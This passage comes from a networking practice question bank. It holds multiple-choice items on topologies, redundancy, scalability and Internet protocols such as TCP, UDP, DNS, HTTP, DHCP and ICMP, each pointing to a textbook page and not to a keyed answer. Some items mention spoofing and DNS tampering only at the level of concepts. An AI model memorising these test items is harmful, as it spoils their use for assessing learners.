A lab's six computers are cabled in a closed loop, each connecting only to the computer before it and the one after it. In this simple design, the failure of one computer will most likely:

A. speed up the rest of the network, since fewer computers compete to send data.

B. affect only that computer, since each one has its own dedicated link.

C. be bypassed automatically, since each computer has a path through a central switch.

D. disrupt much of the network, since data traveling around the loop must cross it.

Answer: page 1034

0003.d.5.3

Most new office networks have abandoned designs in which computers share one cable, in favor of giving each computer its own link to a switch. The main reason for this shift is that:

A. dedicated links require less total cable than one shared cable does.

B. failures are easier to contain, and new devices are simpler to add.

C. shared cables do not work well with computers from different vendors.

D. switches remove the single points of failure from a network.

Answer: page 1034

0003.d.5.4

A student compares a simple network in which all devices tap into a shared cable with one in which each device connects to two neighbors. Which statement is accurate about both?

A. Each device has several independent paths to the other devices.

B. Each device has a dedicated link to a central switch.

C. A single break can disrupt communication across much of the network.

D. A failure affects just the device located at the site of the break.

Answer: page 1034

0003.d.5.5

Each device on a network has exactly two connections, and together the connections form a closed loop. Which topology is this?

A. ring

B. star

C. bus

D. mesh

Answer: page 1034

Mesh topology

0003.d.6.1

A research team scatters sensors across a forest. Each relays readings through whichever neighbors are in range, so data can travel around a failed sensor. Which statement best describes this design and its main cost?

A. a tree, which requires a hierarchy of top-level devices above the sensors

B. a star, which requires a central switch placed within range of the sensors

C. a mesh, which requires many connections to be established and maintained

D. a ring, which requires two fixed wired neighbors for each sensor

Answer: page 1034

0003.d.6.2

A city's emergency radio planner insists that messages must still get through when several relay stations are damaged, even if the design needs many more links. The planner is prioritizing:

A. low cost through minimal links.

B. central control through one station.

C. predictable delay through one fixed route.

D. fault tolerance through multiple paths.

Answer: page 1034

0003.d.6.3

Six offices each need a direct link to each of the other five. How many separate links are required?

A. `6`

B. `15`

C. `30`

D. `36`

Answer: page 1034

0003.d.6.4

A student proposes connecting all 200 computers in an office directly to one another, so that no cable failure could isolate a machine. The strongest objection to this plan is most likely that:

A. removing one computer would cause the whole network to fail.

B. each message would have to pass through many of the other computers.

C. having multiple paths would leave computers unable to choose a route.

D. the number of links grows very quickly as computers are added.

Answer: page 1034

0003.d.6.5

Carriers join their major routers so that several paths exist between any two cities, although many links could be removed and every city would stay connected. This costly arrangement most directly serves which goal?

A. reducing the number of addresses that devices must be assigned

B. keeping traffic flowing when individual links or routers fail

C. guaranteeing identical speeds to all users across the world

D. keeping traffic private as it moves from one city to another

Answer: page 1035

Tree topology

0003.d.7.1

On a hospital campus, devices in each ward connect to a ward switch, ward switches connect to a building switch, and building switches connect to one core device. New buildings simply attach to the core. This design is best described as:

A. a ring, which passes traffic through each building in turn.

B. a bus, which carries each ward's traffic along one campus cable.

C. a tree, which expands easily by building and can be managed centrally.

D. a full mesh, which gives each device a direct link to the other devices.

Answer: page 1035

0003.d.7.2

Under a district's plan, each school's computers connect to one switch at that school, and each school's switch links to one switch at the district office. Structurally, this plan combines:

A. several mesh networks with direct links among all computers.

B. several bus networks sharing one district-wide cable.

C. several ring networks in a larger loop.

D. several star networks joined in a hierarchy.

Answer: page 1035

0003.d.7.3

In a school district's network, the switches in each school connect upward to one switch at the district office. One afternoon, that district office switch fails. Which outcome is most likely?

A. The computers in the schools lose contact, even with the computer at the next desk.

B. Just the computers attached directly to the district office switch will lose their connections.

C. Traffic between schools stops, although computers in one school may still reach each other.

D. Traffic between schools reroutes automatically along cables joining neighboring schools.

Answer: page 1035

0003.d.7.4

A park service must connect ranger stations over wireless links that often drop in bad weather. A consultant recommends that stations relay for one another, rather than form a hierarchy. The strongest justification is that:

A. data can take another route when any one wireless link drops.

B. relaying requires fewer links than a hierarchy would.

C. relaying gives the service one central point for monitoring its traffic.

D. relaying means that no station ever needs to forward another station's data.

Answer: page 1035

0003.d.7.5

An administrator worries that one device at the top of a multi-level campus network could isolate every branch if it fails. Which change most directly reduces this risk?

A. removing the middle level, so that all switches attach to the top device

B. adding computers to the lowest-level switches so that each has more capacity

C. adding a redundant core switch and duplicate uplinks to it

D. replacing the top device with a faster model

Answer: page 1035

Scalability

0003.d.8.1

A ticket-sales website receives more requests than one server can answer. Engineers place several servers behind a device that hands each request to one of them. Which goal does this most directly serve?

A. compressing each page to reduce its transfer time

B. handling more demand as the number of requests grows

C. verifying that each incoming request comes from a real buyer

D. protecting the confidentiality of buyers' data as it travels

Answer: page 1035

0003.d.8.2

A registration system worked well for 300 students but became unacceptably slow at 3,000. No component has failed, no data have been lost, and the logic is correct. A reviewer should report that it lacks:

A. confidentiality.

B. scalability.

C. fault tolerance.

D. integrity.

Answer: page 1035

0003.d.8.3

One company adds capacity by moving its service to a single, much larger machine. A competitor instead adds many ordinary servers behind a device that spreads requests among them. Which statement best compares the two approaches?

A. The single machine is more reliable, because it has one part to protect rather than many.

B. The competitor's servers need no coordination, so its approach adds no complexity.

C. The competitor's service can keep running if one server fails, though it adds complexity.

D. The single machine can keep growing as needed, because larger models are widely available.

Answer: page 1035

0003.d.8.4

A district's network grew from 50 to 5,000 devices, all in one flat layer of switches. Which redesign best addresses this growth?

A. organizing devices into a hierarchy, with groups by building and by floor

B. buying a separate Internet connection for each group of devices in the district

C. a single larger switch with a port for each device

D. moving the devices onto one shared cable to simplify the building's wiring

Answer: page 1035

0003.d.8.5

A company's load balancer divides requests evenly, yet all four web servers run at full capacity and response times climb as customers are added. Which action most directly addresses this?

A. moving the four servers into one room so that requests travel a shorter distance

B. sending all requests to the fastest server

C. placing a second load balancer directly in front of the first one

D. adding more servers behind the load balancer

Answer: page 1035

Reliability and redundancy

0003.d.9.1

A hospital buys a second Internet connection from a different provider and mirrors its patient records to a second server. These purchases most directly help the hospital to:

A. keep staff from browsing personal sites during work hours.

B. keep services available when one component or connection fails.

C. keep records hidden from people not authorized to read them.

D. keep records from being altered by an attacker on the server.

Answer: page 1035

0003.d.9.2

An online exam service runs two identical servers, and the second stays idle unless the first stops responding. Justifying the idle server's cost, an administrator should explain that it provides:

A. load balancing, so that requests are shared at busy times.

B. confidentiality, so that exam content sits on fewer machines.

C. redundancy, so that one failure does not stop the service.

D. scalability, so that more test takers can connect.

Answer: page 1035

0003.d.9.3

All traffic between a school's network and the outside world runs through one cable. An accident to that cable would cut off the entire school, however well other equipment works. This cable is best described as:

A. a capacity bottleneck.

B. a load balancer.

C. a redundant path.

D. a single point of failure.

Answer: page 1035

0003.d.9.4

An organization buys two mirrored servers and two Internet lines from different providers. The servers share one basement room, and both lines run through one trench. The most relevant objection to this plan is that:

A. having two of each lowers reliability, because each added part can fail.

B. the duplicated components can still fail together from one shared cause.

C. mirrored servers improve speed, so they do not help during an outage.

D. two different providers are not permitted to serve one organization at one location.

Answer: page 1035

0003.d.9.5

A nonprofit is deciding whether to add a second router, a second link, and a standby server to its network. The main disadvantage to weigh against the added reliability is:

A. higher cost, along with more equipment to configure and manage.

B. fewer paths for traffic, since added links stay idle.

C. weaker confidentiality, since added equipment shares passwords in plain text.

D. slower performance, since every packet must cross each added device.

Answer: page 1035

Client-server and peer-to-peer

0003.d.10.1

A family's two laptops exchange photos directly with each other, with no central machine, whereas students at a school download assignments from one dedicated machine in the office. Which pairing is most accurate?

A. client-server for the family's laptops, and peer-to-peer for the school

B. peer-to-peer for the family's laptops, and client-server for the school

C. peer-to-peer for both, because each situation involves the sharing of files

D. client-server for both, because each situation involves at least one computer

Answer: page 1036

0003.d.10.2

Thousands of web browsers send search requests to a library catalog on one dedicated machine. The browsers are best described as programs that:

A. connect only to the two nearest neighboring browsers.

B. store the catalog and share it with one another.

C. route packets for other browsers.

D. request services from the dedicated machine.

Answer: page 1036

0003.d.10.3

A software project distributes a large download through a system in which each downloader also uploads pieces of the file to others. When demand surges, which benefit does this offer over one dedicated server?

A. The file is protected from modification by the participants.

B. Participants need an Internet connection to join, but not to receive pieces.

C. Traffic passes through one very fast machine at the center.

D. Total upload capacity grows as more participants join the system.

Answer: page 1036

0003.d.10.4

A law firm must control who can open each document and must guarantee that nightly backups take place. Its 40 staff members currently share folders directly from their own laptops. Which change best fits these needs?

A. keeping the current arrangement, since each owner can set sharing rules

B. moving the documents to dedicated servers where access and backups are managed centrally

C. moving the documents to dedicated servers while each laptop keeps the only authoritative copy

D. keeping the current arrangement, since laptops that share folders back one another up automatically

Answer: page 1036

0003.d.10.5

A power failure takes down a company's only file server, and no employee can open shared files. At a partner firm, whose staff trade files directly, a similar failure at one desk affects only that computer's files. What accounts for the difference?

A. The partner's computers form a ring, so data can flow around a computer that is off.

B. The company's computers connect by Wi-Fi, whereas the partner's computers have wired connections.

C. The company depends on one dedicated server, whereas the partner's resources are spread among peers.

D. The company's computers use routers, whereas the partner's computers are joined only by switches.

Answer: page 1036

0003.e Internet protocols

Read about this in the content summary: 0003.e, page 116.

Packet switching

0003.e.1.1

During a large file download, a router along the path fails. The download pauses briefly and then continues, though the user's computer and the server have stayed the same. Which feature of how Internet data travels best explains this?

A. Later pieces of data can be sent along a different route around the failed router.

B. The server opens a dedicated circuit, with a spare one reserved for failures.

C. The failed router had already stored a complete copy of the file.

D. The user's computer sends the file's missing parts to the router so that it can recover.

Answer: page 1036

0003.e.1.2

A student's video arrives at a server in pieces, and the logs show that piece 7 arrived before piece 5. The final file is still correct. What makes this possible?

A. The network holds piece 7 back at each router until piece 5 has passed through it.

B. The student's computer resends the entire file whenever pieces arrive out of order.

C. Each piece carries information used to put the pieces back in order at the destination.

D. The server discards pieces that arrive out of order and uses the ones that arrived in order.

Answer: page 1036

0003.e.1.3

Dozens of households on one street stream video, browse sites, and send email at the same time over one shared cable to their provider. No household holds a reserved circuit. Which feature of Internet data transmission best explains how this works?

A. Each household's data waits for a clear cable, then crosses in one transfer.

B. Each household may use the cable only at its own assigned time.

C. Each household's data is split into small pieces that take turns on the cable.

D. Each household receives a reserved share of the cable for the whole session.

Answer: page 1036

0003.e.1.4

A router must decide where to send a piece of traffic without reading the application data inside it, such as the text of an email message. To make this decision, the router consults:

A. the receiving computer, which sends the router a map.

B. the packet's payload, which carries the message and its recipient.

C. the packet's header, which carries its destination address.

D. a central registry recording the full route of every message.

Answer: page 1036

0003.e.1.5

A small office pays a high price for a dedicated line that sits idle most of the day. A nearby office of the same size shares a much cheaper Internet connection that rarely feels slow. Which fact best explains why sharing works so well for the second office?

A. Shared connections give each subscriber a separate wire.

B. Most users send data in bursts, so their peaks rarely coincide.

C. Shared connections guarantee a fixed delay for all traffic.

D. Shared connections compress traffic until it takes almost no capacity.

Answer: page 1036

Internet Protocol

0003.e.2.1

Devices in thousands of homes show addresses beginning with `192.168.1`, and a teacher expects these duplicates to confuse the Internet. No such confusion occurs. The best explanation is that these addresses:

A. are public, but each is leased to one home for seconds at a time.

B. belong to printers and other devices that never exchange Internet traffic.

C. are combined with the owner's name, which makes each one unique when sent.

D. are private, reused on local networks, and translated at the router.

Answer: page 1036

0003.e.2.2

A settings form rejects the address `192.168.1.300` as invalid. The entry is invalid because:

A. each of the four numbers must be lower than 100.

B. an address beginning with `192` is reserved for routers.

C. each of the four numbers must be between 0 and 255.

D. an address must contain six groups of values, rather than four.

Answer: page 1036

0003.e.2.3

A national utility plans to give each of its billions of smart meters a unique Internet address, but it learns that the 32-bit address format has effectively run out. Which change most directly addresses this limit?

A. adopting shorter domain names, so meters need fewer addresses

B. adopting faster connections, so meters can share addresses

C. adopting Internet Protocol version 6, with its 128-bit addresses

D. adopting encryption, so several meters can hide behind one address

Answer: page 1036

0003.e.2.4

A student's laptop shows one IP address at home and a different one at a coffee shop, and the student concludes that its network hardware must be faulty. Which explanation corrects this conclusion?

A. IP addresses reflect the current network, so they can change with location.

B. IP addresses rotate on a fixed schedule set by the device's manufacturer.

C. IP addresses are chosen by each website that the device visits during the day.

D. IP addresses follow the user's account, so they differ at each sign-in.

Answer: page 1036

0003.e.2.5

A log line reads `203.0.113.5 requested /grades at 09:14`. An administrator concludes that this proves exactly which student made the request. What is the main problem with that conclusion?

A. An IP address of that form belongs to a server, so the log shows the server.

B. An IP address expires within minutes, so it is of little use for matching afterward.

C. An IP address may be shared, and it identifies a location rather than a person.

D. An IP address identifies a person once the connection has been encrypted.

Answer: page 1036

Transmission Control Protocol

0003.e.3.1

A student's custom file-transfer program sends data with no confirmations, and large downloads often arrive incomplete. Replacing it with which kind of protocol would most directly address this?

A. one that looks up the file's name before each transfer begins

B. one that numbers the data, confirms receipt, and resends what is lost

C. one that sends data faster, leaving less time for it to be lost

D. one that encrypts the data, so that it is protected from going missing in transit

Answer: page 1036

0003.e.3.2

A trace of a web connection begins as shown below.

```
client -> server: SYN
server -> client: SYN-ACK
client -> server: ACK
client -> server: GET /index.html
```

What is the purpose of the first three lines?

A. They assign the client an address on the local network.

B. They encrypt the page using the server's private key.

C. They translate the site's name into a numeric address.

D. They establish a connection before data is exchanged.

Answer: page 1037

0003.e.3.3

A capture shows the same data segment sent twice, a short time apart, with no change in its content. No one has clicked anything twice. What is the most likely explanation?

A. The sender did not receive an acknowledgment in time, so it retransmitted the data.

B. The receiver's clock is running ahead of the sender's clock by one second.

C. The sender's protocol routinely sends the data twice to improve its reliability.

D. The user's browser has been infected with malware that sends its traffic twice.

Answer: page 1037

0003.e.3.4

A bank's mobile application must transmit transfer records so that no part is lost and all parts are processed in their original order. A developer must choose how the data will travel. Which choice and rationale are correct?

A. UDP, because its low overhead leaves room for added delivery checks

B. UDP, because it encrypts the data it carries

C. TCP, because no other protocol is faster

D. TCP, because it confirms delivery and restores order

Answer: page 1037

0003.e.3.5

A file transfer on a busy link slows sharply just after several packets are lost, then gradually speeds up again. A student reports this as a malfunction in the transfer software. The best response is that this pattern reflects:

A. a display error, since a transfer runs at one fixed rate.

B. an application setting, since a user must lower the transfer rate.

C. a protocol that sends the remaining data as one block after a loss.

D. a reliable protocol easing off when it detects signs of congestion.

Answer: page 1037

User Datagram Protocol

0003.e.4.1

A video-calling application skips a lost audio packet instead of waiting for it, and the participants barely notice the gap. A student asks why developers would accept any loss of data. The best explanation is that:

A. audio that is resent would arrive too late to be useful.

B. resending is impossible on modern networks, whichever protocol is used.

C. the protocol in use ensures that unimportant packets are the ones dropped.

D. lost packets in a call usually hold silence.

Answer: page 1037

0003.e.4.2

A multiplayer game sends each player's position 30 times per second, and its developers want the lowest possible delay. Which reasoning best supports choosing a transport protocol that does not confirm delivery?

A. A newer position update soon replaces a lost one, so resending has little value.

B. Position updates must arrive, in order, before the next frame is drawn.

C. Such a protocol delivers each update within a fixed time.

D. Such a protocol gives player data stronger encryption than others do.

Answer: page 1037

0003.e.4.3

A team sends a large spreadsheet with a simple tool built on UDP, and the received file has missing rows, with no error shown. Why is this result unsurprising?

A. UDP alone omits packet headers, so packets have no way to find the receiver.

B. UDP alone does not confirm delivery or report lost packets.

C. UDP alone requires one operating system on both computers.

D. UDP alone is intended for audio and video, not for spreadsheet contents.

Answer: page 1037

0003.e.4.4

A developer's application uses UDP for its low overhead, but it must now detect when messages go missing, without giving up that protocol. Which approach fits best?

A. turning off the firewall so that more messages are able to get through

B. moving the server close enough to users that no message can be lost

C. adding sequence numbers and acknowledgments in the application itself

D. relying on UDP's own retransmission, which starts once a buffer fills

Answer: page 1037

0003.e.4.5

A monitoring tool on a school network shows frequent small requests and equally small replies on UDP port 53, just before many new web connections begin. Which activity most likely accounts for this traffic?

A. devices looking up the numeric addresses of domain names

B. devices requesting IP addresses when joining the network

C. devices retrieving new email messages from a mail server

D. devices downloading large software updates from a vendor

Answer: page 1037

Domain Name System

0003.e.5.1

A user cannot reach `www.example.org` in a browser, though typing the site's numeric address works and loads the page normally. Which part of the system is most likely failing?

A. translating the site's name into its address

B. connecting the user's device to the local network

C. transmitting the web page's content to the user

D. rendering the page's HTML in the user's browser

Answer: page 1037

0003.e.5.2

A company moves its website to a new server and updates its records. For several hours afterward, some users reach the old server while others reach the new one. What is the most likely reason?

A. The two servers take turns answering requests until the move is complete.

B. Browsers on some devices can load pages only from a server they visited before.

C. Each device must restart before a name can point to a new server.

D. Answers from earlier lookups remain stored in caches until they expire.

Answer: page 1037

0003.e.5.3

A student at a school types the correct address of a popular site but lands on a convincing copy of it, even though no link was clicked. Other schools are not affected. Which is the most likely point of attack?

A. the name lookups used by that school, which have been altered

B. the student's keyboard, which is sending letters other than those typed

C. the site's own servers, replaced worldwide with a copy

D. the site's security certificate, which is redirecting the school's traffic

Answer: page 1037

0003.e.5.4

A lookup for the name `www.cs.stateu.edu` begins at the top of the naming hierarchy. Which part of the name is handled first, just below the root?

A. `edu`

B. `stateu`

C. `www`

D. `cs`

Answer: page 1037

0003.e.5.5

A network administrator changes the school's devices to use a different DNS server, and users report that some sites now load faster. How is that possible, given that the sites' servers have not changed?

A. Name lookups transfer each page's images and videos to the user's device.

B. Name lookups can add noticeable time before a page begins to load.

C. Name lookups compress the data that is sent by a website's server.

D. Name lookups increase the amount of bandwidth available to the school's network.

Answer: page 1037

HTTP and HTTPS

0003.e.6.1

A student captures traffic on open Wi-Fi and reads a classmate's login details sent to a site that uses `http://`. On another site that uses `https://`, the student sees only unreadable data. What accounts for the difference?

A. The second site has a stronger password policy for all of its users.

B. The second connection's contents are encrypted in transit.

C. The second site is hosted outside of the local network.

D. The second site stores its passwords in a salted hash on its servers.

Answer: page 1037

0003.e.6.2

A teacher sees a padlock in the browser's address bar on an unfamiliar site offering "free grade calculators" and tells students that the padlock means the site is safe. What correction is most accurate?

A. The padlock indicates that a site has no malware and can be fully trusted by all users.

B. The padlock indicates that the data held on the site's own servers are encrypted.

C. The padlock indicates that the site's content has been reviewed by a government agency.

D. The padlock indicates an encrypted connection, not that the operator is trustworthy.

Answer: page 1037

0003.e.6.3

After a website moves from `http://` to `https://`, an analyst measures a small added delay before the first data arrive on each new connection, with no change in page content. This delay comes from:

A. the extra steps to verify the server and establish encryption.

B. each user re-entering a password before a new page is sent.

C. the extra routers that encrypted traffic must cross on its way.

D. a second encrypted copy of each page's images and other files.

Answer: page 1037

0003.e.6.4

A school's website collects families' home addresses through a form submitted over `http://`. A reviewer is concerned that the data could be read as they travel across the network. Which change best addresses this?

A. enabling TLS on the server and redirecting all requests to HTTPS

B. requiring each family to choose a longer password for its account

C. adding a statement about privacy to the footer of the web page

D. hashing the submitted records once they reach the school's database

Answer: page 1038

0003.e.6.5

A company uses HTTPS on its login page and then returns to HTTP after login. A security reviewer objects. Why?

A. Browsers refuse to load HTTP pages after HTTPS pages, so the site will fail.

B. Returning to HTTP cancels the encryption of the password that was sent earlier.

C. Session cookies sent over HTTP can be captured and used to take over accounts.

D. Pages sent over HTTP cannot carry cookies, so users are logged out at once.

Answer: page 1038

HTTP methods

0003.e.7.1

A to-do application's log shows three requests in order. `GET /tasks` returned four entries, `POST /tasks` returned a success code, and a further `GET /tasks` returned five entries. Which request added the new entry?

A. all three together, because each one used the same `/tasks` path

B. the `POST` request, which submitted the entry to the server

C. the second `GET`, which is when the fifth entry first appeared

D. the first `GET`, which prepared the list for a new entry

Answer: page 1038

0003.e.7.2

A web crawler follows every link on a site, and this deletes many records, since each record has a link to `/delete?id=5`. Which design change best fixes the root cause?

A. hiding the delete links with the page's styles so they cannot be seen

B. using longer paths for the delete links so that crawlers give up

C. requiring a non-`GET` method such as `POST` or `DELETE` for deletions

D. returning `404` after each deletion so that the crawler will stop

Answer: page 1038

0003.e.7.3

A login form sends `GET /login?user=ana&password=sunflower` over an HTTPS connection. A security reviewer still objects to this design. The strongest reason is that:

A. the password travels unencrypted, since HTTPS does not protect `GET` requests.

B. `GET` requests are cached at public routers, where anyone can read them.

C. the server cannot read values placed in a URL, so each login will fail.

D. the URL, including the password, may be saved in history and server logs.

Answer: page 1038

0003.e.7.4

A developer connecting to an unfamiliar service wants to find out which methods a resource supports, without creating, changing, or removing anything on the server. Which request is most appropriate?

A. a `GET` request, which returns the allowed methods

B. an `OPTIONS` request, which asks what a resource allows

C. a `TRACE` request, which lists the methods that a resource accepts

D. a `PUT` request with an empty body, which reports rejected methods

Answer: page 1038

0003.e.7.5

A student reading the specification for the Hypertext Transfer Protocol (HTTP) is puzzled that it defines methods for replacing and removing documents on a server, since ordinary web browsing almost never uses them. These methods are best explained as reflecting:

A. a requirement of encryption, which relies on these methods.

B. a recent expansion of the protocol, intended to serve modern mobile applications.

C. a set of commands borrowed from email to send documents between mail servers.

D. an early vision of the web as a shared space that people edit together.

Answer: page 1038

HTTP status codes

0003.e.8.1

A student's app logs the following responses from a web service.

```
GET /api/scores     200
GET /api/score      404
GET /api/scores     500
```

The student concludes that the service is broken each time something goes wrong. What is the best interpretation of the second and third lines?

A. Both of them show that the request succeeded, as each one returned a status code.

B. The second is likely a mistyped path, and the third reflects a server failure.

C. Both of them show that the student's Internet connection had dropped at that time.

D. The second reflects a server failure, and the third is likely a mistyped path.

Answer: page 1038

0003.e.8.2

A student who is not logged in tries to open a page in a teacher's portal, and the server returns `401`. The portal's developer must decide what to show. The most appropriate response is:

A. a message saying that the page does not exist.

B. a message saying that the server has crashed and is being repaired.

C. a message saying that the page has moved to another address.

D. a prompt asking the student to log in and then try again.

Answer: page 1038

0003.e.8.3

After a site is reorganized, old bookmarks return `404`, and the site's search rankings fall. Which approach best keeps the old links working for users and search engines?

A. returning `500` so that browsers will try the request again later

B. returning `403` so that users understand why the pages are gone

C. returning `301` from each old address, pointing to its new one

D. returning `200` with an empty page at each old address

Answer: page 1038

0003.e.8.4

During the first hour of course registration each term, a college's site returns `503` to many students, and it works normally again once traffic falls. A help desk should most likely tell students that:

A. their browsers sent malformed requests, so they should update them.

B. their login sessions have expired, so each of them must log in again.

C. the registration pages have been moved permanently to a new web address.

D. the service is temporarily overloaded, so a later attempt should work.

Answer: page 1038

0003.e.8.5

A student's script downloads data from a web service and saves whatever comes back. One day it stores a "not found" error page as if it were data. Which change would best fix the script?

A. checking that the body contains more than one line of text

B. checking that the connection stayed open until the body arrived

C. checking the response's status code before using its body

D. retrying the request until a body of any kind is returned

Answer: page 1038

DHCP and MAC addresses

0003.e.9.1

On one school day, every laptop that joins the school's network shows no usable IP address and reaches nothing, while laptops that joined earlier continue to work normally. Which part of the network should a technician check first?

A. the router that forwards the school's traffic toward the Internet

B. the server that automatically assigns addresses to new devices

C. the hardware addresses of the new laptops, which may have expired

D. the server that translates domain names into numeric addresses

Answer: page 1038

0003.e.9.2

Two classroom computers that were given the same address by hand keep losing their connections, and a warning appears about an address conflict. Which change best prevents this kind of problem across the school?

A. using a firewall rule to block traffic between computers

B. using a switch with more ports, so that each computer has its own link

C. using a domain name for each computer in place of a numeric address

D. using a server that automatically assigns available addresses

Answer: page 1038

0003.e.9.3

A student's laptop keeps the same value in the "physical address" field across home and school networks, while its "IP address" field changes. What is the best explanation?

A. The first is the Wi-Fi network's password, and the second is its name.

B. The first depends on the current network, and the second identifies the network interface.

C. The first identifies the network interface, and the second depends on the current network.

D. The first is what websites use to reach it, and the second stays within a room.

Answer: page 1038

0003.e.9.4

A network admits only devices whose hardware addresses appear on an approved list. A student copies an approved device's address onto a laptop and gets access. What does this show about the control?

A. It is out of date, since approved addresses change often.

B. It is restricted to networks where the devices share one operating system.

C. It depends on the strength of the password set on the laptop.

D. It is weak by itself, since hardware addresses can be spoofed.

Answer: page 1038

0003.e.9.5

A school's network printer receives a different IP address from time to time, so computers configured to use it often lose track of it. The school assigns addresses automatically. What is the best solution?

A. moving the printer to a switch of its own so that its address settles

B. turning off automatic assignment for all of the school's devices

C. reserving a fixed address for the printer in the assignment service

D. changing the printer's hardware address after each of its restarts

Answer: page 1039

Email and file transfer protocols

0003.e.10.1

A staff member sends email successfully but cannot see new messages on a phone. Coworkers say, "Your mail server must be down." Since outgoing mail is working, which part should be checked first?

A. the settings for retrieving mail, such as IMAP

B. the settings for sending mail, such as SMTP

C. the settings for transferring files, such as FTP

D. the settings for assigning addresses, such as DHCP

Answer: page 1039

0003.e.10.2

A teacher reads mail on a laptop and a phone, and wants deleted and read messages to be consistent across both devices. Which approach fits best?

A. IMAP, since messages remain on the server and stay in sync.

B. DNS, since messages are looked up by the names of their senders.

C. FTP, since messages are stored as files on each of the devices.

D. SMTP, since messages are retrieved through the sending protocol.

Answer: page 1039

0003.e.10.3

A company sends contract files to its partners using plain File Transfer Protocol (FTP), with a username and password for each partner. A security review flags the practice. The reviewer's concern is most likely that:

A. files sent this way are automatically published on the company's website.

B. credentials and files can be read in transit, since neither is encrypted.

C. the protocol has a small, fixed size limit on the files it can transfer.

D. the protocol is intended for computers on a single local network.

Answer: page 1039

0003.e.10.4

An organization's mail server is tricked into relaying huge amounts of spam because it accepts mail from anyone for anyone. Which protocol's configuration is most directly involved?

A. DHCP

B. IMAP

C. HTTP

D. SMTP

Answer: page 1039

0003.e.10.5

A student examines an email's headers and finds several `Received:` lines listing different servers. What does this show?

A. The message was sent as multiple copies to the same mailbox.

B. The message was encrypted using multiple different secret keys.

C. The message passed through multiple mail servers on the way.

D. The message was opened by multiple people at the same time.

Answer: page 1039

ICMP and diagnostics

0003.e.11.1

A technician runs a diagnostic command, and receives the output below.

```
1  10.0.0.1       2 ms
2  198.51.100.9   9 ms
3  * * *
4  * * *
```

No further lines appear. What is the most reasonable first interpretation?

A. The destination website has returned a `404` status code to the user.

B. Packets may be failing or being blocked somewhere after the second hop.

C. The domain name has been translated into the wrong numeric address.

D. The technician's own computer has no working connection to the local router.

Answer: page 1039

0003.e.11.2

A user reports that a site is slow. `ping` to a nearby router shows 2 ms, and `ping` to the site shows 300 ms. Where should the investigation focus?

A. on the site's name lookup, which `ping` reports

B. on the link between the user's device and the nearby router

C. along the path to the site, beyond the local network

D. on the user's web browser, which may be displaying pages slowly

Answer: page 1039

0003.e.11.3

A network administrator can load a company's website normally, but `ping` to it gets no reply at all. What is the most likely explanation?

A. `ping` is designed for websites that use unencrypted `http://` connections.

B. The server or a firewall may be configured to ignore diagnostic messages.

C. `ping` is designed to test the administrator's own device, not a remote server.

D. The website must have gone offline just after the page finished loading.

Answer: page 1039

0003.e.11.4

A developer's monitoring tool must send the same echo messages that `ping` sends and must receive the error reports that routers return when a packet cannot be delivered. Which protocol must the tool use?

A. Dynamic Host Configuration Protocol (DHCP)

B. Simple Mail Transfer Protocol (SMTP)

C. Hypertext Transfer Protocol (HTTP)

D. Internet Control Message Protocol (ICMP)

Answer: page 1039

0003.e.11.5

A student runs `ping` on a school connection, then reports the millisecond figure as the amount of data that the connection can carry. Which correction is most accurate?

A. The figure shows the round-trip delay to a responding host, not capacity.

B. The figure shows the number of devices sharing the school's connection.

C. The figure shows the number of routers between the student and the host.

D. The figure shows the size of the largest file that the host can send.

Answer: page 1039

Layered protocols

0003.e.12.1

A company replaces Wi-Fi equipment with a newer standard, and its web applications continue to work without any changes to them. What best explains this?

A. All Wi-Fi standards transmit HTML directly without any other protocols.

B. The applications are rewritten automatically by the equipment that is installed.

C. Layering lets lower-level changes occur without changing the applications above.

D. Web applications contain their own radio hardware, so Wi-Fi is not involved.

Answer: page 1039

0003.e.12.2

A page request involves Ethernet, HTTP, IP, and TCP. Which option orders these from the layer nearest the application down to the one nearest the wire?

A. HTTP, IP, TCP, Ethernet

B. TCP, HTTP, IP, Ethernet

C. HTTP, TCP, IP, Ethernet

D. Ethernet, IP, TCP, HTTP

Answer: page 1039

0003.e.12.3

A student says, "TCP delivers packets across different networks by choosing routes." Which correction is most accurate?

A. IP handles routing across networks, and TCP manages reliable delivery.

B. TCP handles routing across networks, and IP manages reliable delivery.

C. HTTP handles routing across networks, and TCP manages page formatting.

D. Ethernet handles routing across the Internet, and IP manages page formatting.

Answer: page 1039

0003.e.12.4

An engineer opens a captured web request in an analysis tool, which shows Ethernet information on the outside, then IP information, then TCP information, and finally the HTTP data. Which statement best explains this arrangement?

A. Each layer's header wraps the data handed down from the layer above.

B. Each layer's header replaces the data from the layer above it.

C. Each layer's header is added only once the packet has arrived.

D. Each layer's header travels in a separate packet just ahead of the data.

Answer: page 1039

0003.e.12.5

A web page will not load. A technician checks that the link light is on, then that an IP address is assigned, then that the server accepts a connection, and finally the page's response. Which strategy is this?

A. working downward from the highest layer

B. working upward from the lowest layer

C. replacing hardware in a fixed order

D. testing the application's interface only

Answer: page 1039

Wi-Fi and SSID

0003.e.13.1

A family renames its router's wireless network to something hard to guess, believing that this will stop visitors from altering the router's settings. Which advice is most accurate?

A. The new name has no effect, because a router's settings can never be changed by users.

B. The name only labels the network, and an administrator password guards the settings.

C. The new name protects the settings only if the Wi-Fi password is removed.

D. The new name protects the settings as long as it is changed on a regular schedule.

Answer: page 1039

0003.e.13.2

A guest who knows a home's Wi-Fi password logs in to the router's settings page and changes the settings, using a login printed in the router's manual. What is the main problem?

A. The router's radio signal reached too far into the guest room.

B. The router's default administrator password was never changed.

C. The router's wireless network name was too easy for a guest to read.

D. The home's Wi-Fi password should have expired when the guest left.

Answer: page 1039

0003.e.13.3

In an apartment building, many Wi-Fi networks overlap, and connection quality falls during the evening. Changing which setting is most likely to help?

A. the wireless channel, to one with less interference

B. the Wi-Fi password, to one neighbors cannot guess

C. the wireless network's name, to one that is more distinctive

D. the router's administrator password, to one that is longer

Answer: page 1040

0003.e.13.4

A phone in a coffee shop lists nearby wireless networks, including one labeled `BeanCounter-Guest`. A teacher asks students what such a label is. Which answer is accurate?

A. a domain name, translating to the IP address of the coffee shop's site

B. an administrator login, controlling changes to the router's settings

C. a service set identifier, the name that a wireless network announces

D. a media access control address, identifying a device's network hardware

Answer: page 1040

0003.e.13.5

A device's connection weakens through several walls but works fine in the same room as the access point. A student blames "slow Internet." What is the better explanation?

A. The provider reduces the speed of devices in more distant rooms.

B. Wi-Fi uses radio signals, which walls and distance can weaken.

C. The router favors devices in the room where it stands.

D. Far devices must re-enter the Wi-Fi password more often than near ones.

Answer: page 1040

0003.f Data storage

Read about this in the content summary: 0003.f, page 122.

Types of storage devices

0003.f.1.1

